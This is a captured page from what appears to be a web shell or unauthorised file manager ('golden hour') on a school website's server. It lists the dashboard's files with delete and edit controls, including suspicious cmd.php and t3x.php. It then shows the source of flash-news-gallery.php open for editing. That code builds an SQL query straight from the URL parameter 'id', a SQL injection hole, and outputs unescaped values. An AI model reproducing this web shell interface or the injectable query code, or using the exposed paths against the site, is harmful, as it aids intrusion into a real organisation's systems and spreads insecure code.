golden hour
/home4/theinves/public_html/seshaasschool.com/dashboard
⬆️ Go Up
Upload
File/Folder
Size
Actions
api
-
Del
OK
apis
-
Del
OK
assets
-
Del
OK
assets-dashboard-css.php
11.76 KB
Del
OK
assets-dashboard-js.php
2.96 KB
Del
OK
asst
-
Del
OK
banner-list.php
5.83 KB
Del
OK
ckeditor
-
Del
OK
cmd.php
193.64 KB
Del
OK
config
-
Del
OK
create-panel-info.php
5.51 KB
Del
OK
data-tables
-
Del
OK
db-connection-error.php
223 B
Del
OK
dpdf.php
12.78 KB
Del
OK
error_log
686 B
Del
OK
flash-images-list.php
9.01 KB
Del
OK
flash-news-gallery.php
8.05 KB
Del
OK
flash-news-list.php
4.93 KB
Del
OK
flash-news-view.php
3.7 KB
Del
OK
flash-news.php
1.62 KB
Del
OK
flash_news_upload.php
7.99 KB
Del
OK
footer.php
7.03 KB
Del
OK
gallery-list.php
4.86 KB
Del
OK
gallery-video-list.php
5.85 KB
Del
OK
gallery-video.php
15.9 KB
Del
OK
gallery-view.php
2.1 KB
Del
OK
gallery-years.php
7.91 KB
Del
OK
gallery.php
8.96 KB
Del
OK
gallery_backup.php
7.12 KB
Del
OK
header.php
8.82 KB
Del
OK
images
-
Del
OK
images-list.php
10.3 KB
Del
OK
img
-
Del
OK
includes
-
Del
OK
index.php
8.84 KB
Del
OK
latest-events-gallery.php
8.06 KB
Del
OK
latest-events-images-list.php
8.98 KB
Del
OK
latest-events-list.php
4.94 KB
Del
OK
latest-events-view.php
3.71 KB
Del
OK
login.php
7.61 KB
Del
OK
logout.php
143 B
Del
OK
media
-
Del
OK
media_upload.php
7.99 KB
Del
OK
modal
-
Del
OK
profile.php
11.6 KB
Del
OK
settings.php
15.34 KB
Del
OK
t3x.php
10.27 KB
Del
OK
ui-api
-
Del
OK
upload.php
14.87 KB
Del
OK
uploads
-
Del
OK
Edit: flash-news-gallery.php
<?php include "header.php"; $today_date = date("Y-m-d"); include "assets-dashboard-css.php"; $id = $_GET['id']; $conditions=""; if($id!=""){ $conditions.=" and flash_news_id=".$id; } $statement = $pdo->prepare("SELECT * FROM `tbl_flash_news_images` WHERE 1=1 ".$conditions); $statement->execute(); $emp_data = $statement->fetchAll(PDO::FETCH_ASSOC); $totalData = $statement->rowCount(); ?> <style> .pagination { display: flex; list-style: none; padding: 0; } .pagination a { text-decoration: none; padding: 8px 12px; margin: 0 4px; border: 1px solid #ccc; border-radius: 4px; color: #333; background-color: #fff; cursor: pointer; transition: background-color 0.3s ease; } .pagination a.active, .pagination a:hover { background-color: #007BFF; color: #fff; border-color: #007BFF; } </style> <style> .nav-tabs-custom>.nav-tabs>li>a:hover { color: white; } .nav-tabs-custom>.nav-tabs>li>a { color: white; } .nav-tabs-custom>.tab-content { background: #fff; padding: 10px; border-radius: 0px 0px 25px 25px; box-shadow: rgba(50, 50, 93, 0.25) 0px 50px 100px -20px, rgba(0, 0, 0, 0.3) 0px 30px 60px -30px, rgba(10, 37, 64, 0.35) 0px -2px 6px 0px inset; } .card-counter.darkblue { background-color: darkblue; color: #FFF; } </style> <div class="content-wrapper" style="background: #b5dcdd;"> <!-- Message Starts Here --> <div class="col-lg-12 alerts"> <div id="custom-alerts" style="display:none;"> <div class="alert alert-dismissable"> <div class="custom-msg"></div> </div> </div> <?php if(isset($_SESSION['message']) && $_SESSION['message']!=""){ ?> <div class="alert alert-success alert-dismissable"> <button aria-hidden="true" data-dismiss="alert" class="close" type="button">×</button> <h4><i class="icon fa fa-check"></i> Success</h4> <?=$_SESSION['message'];?> </div> <?php unset($_SESSION['message']); } ?> </div> <div class="clearfix"></div> <!-- Message Endsss Here --> <style> .container{ display: flex; flex-wrap: wrap; justify-content: center; } .box { padding: 5px; } /*.box:hover{ opacity: 1; transition: .9s; }*/ </style> <section class="content-header" style="background: #b5dcdd;"> <div class="conatiner"> <div class="col-md-3"> <div class="form-group"> <label class="control-label" for="id">Flash News</label> <select name="id" class="form-control select2" style="width:100%" id="id"> <?php $statement = $pdo->prepare("SELECT * FROM `tbl_flash_news` WHERE id=?"); $statement->execute(array($id)); $results = $statement->fetchAll(PDO::FETCH_ASSOC); foreach ($results as $result) { ?> <option value="<?=$result['id']?>"><?=$result['title']?></option> <?php } ?> </select> </div> </div> <div class="col-md-3"> <div class="form-group"> <button class="btn btn-info" style="margin-top: 24px;" id="button_submit">Gallery Create</button> </div> </div> </div> <?php /*$directory = '../wp-content/uploads/2023/12'; $site_urls = "https://seshaasschool.com/wp-content/uploads/2023/12";*/ $directory = 'media'; $site_urls = "https://seshaasschool.com/dashboard/media"; $files = scandir($directory); $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif']; ?> <div class="container"> <?php $filesWithTime = array(); foreach ($files as $file) { $extension = pathinfo($file, PATHINFO_EXTENSION); if ($file != '.' && $file != '..' && in_array(strtolower($extension), $allowedExtensions)) { $filesWithTime[$file] = filemtime("$directory/$file"); } } arsort($filesWithTime); ?> <?php // Pagination variables $imagesPerPage = 20; $totalImages = count($filesWithTime); $totalPages = ceil($totalImages / $imagesPerPage); // Get the current page from the URL $current_page = isset($_GET['page']) ? $_GET['page'] : 1; // Calculate the offset $offset = ($current_page - 1) * $imagesPerPage; // Display images for the current page $filesForPage = array_slice($filesWithTime, $offset, $imagesPerPage, true); foreach ($filesForPage as $file => $lastModifiedTime) { echo "<div class='col-md-3'><div class='box'> <div style='margin-bottom: 5px;'> <input type='checkbox' name='assign_ids' data-id='$file' value='$site_urls/$file'"; if($totalData > 0) { foreach ($emp_data as $data) { if ($file == $data['source']) { echo "checked"; } } } echo "> </div> <img src='$directory/$file' alt='$file' style='width: 100%; height: 150px;'> </div></div>"; } ?> <?php /*foreach ($filesWithTime as $file => $lastModifiedTime) { echo "<div class='col-md-3'><div class='box'> <div style='margin-bottom: 5px;'> <input type='checkbox' name='assign_ids' data-id='$file' value='$site_urls/$file'"; if($totalData > 0) { foreach ($emp_data as $data) { if ($file == $data['source']) { echo "checked"; } } } echo "> </div> <img src='$directory/$file' alt='$file' style='width: 100%; height: 150px;'> </div></div>"; }*/ ?> </div> <div class="pagination"> <?php for ($page = 1; $page <= $totalPages; $page++) : ?> <a href="?id=<?=$id?>&page=<?php echo $page; ?>" <?php if ($page == $current_page) echo 'class="active"'; ?>><?php echo $page; ?></a> <?php endfor; ?> </div> <?php if($totalData>0){ }else{ foreach($emp_data as $data){if($file==$data['source']){echo "checked";}}} ?> <br><br> </section> </div> <script> $(document).ready(function() { $('#button_submit').on('click',function(){ $("#button_submit").prop('disabled',true); var checkValues = $('input[name=assign_ids]:checked').map(function(){ return $(this).val(); }).get(); var checkValues_values = $('input[name=assign_ids]:checked').map(function(){ return $(this).data('id'); }).get(); if(checkValues != ''){ var r = confirm("Confirm If You Want Create Gallery?"); var id = $("#id").val(); if (r == true) { var ids=[]; var values=[]; ids = checkValues; values = checkValues_values; $.ajax({ url: 'api/gallery.php', type: 'post', data: {type:'create_flash_news',assign_id:ids, id:id, source:values}, success: function(response){ console.log(response); alert(response); emp_datas(); } }); } }else{ alert("Please Select Minimum One Image For Gallery"); $("#button_submit").prop('disabled',false); } }); }); </script> <?php include "footer.php"; include "assets-dashboard-js.php"; ?>
Save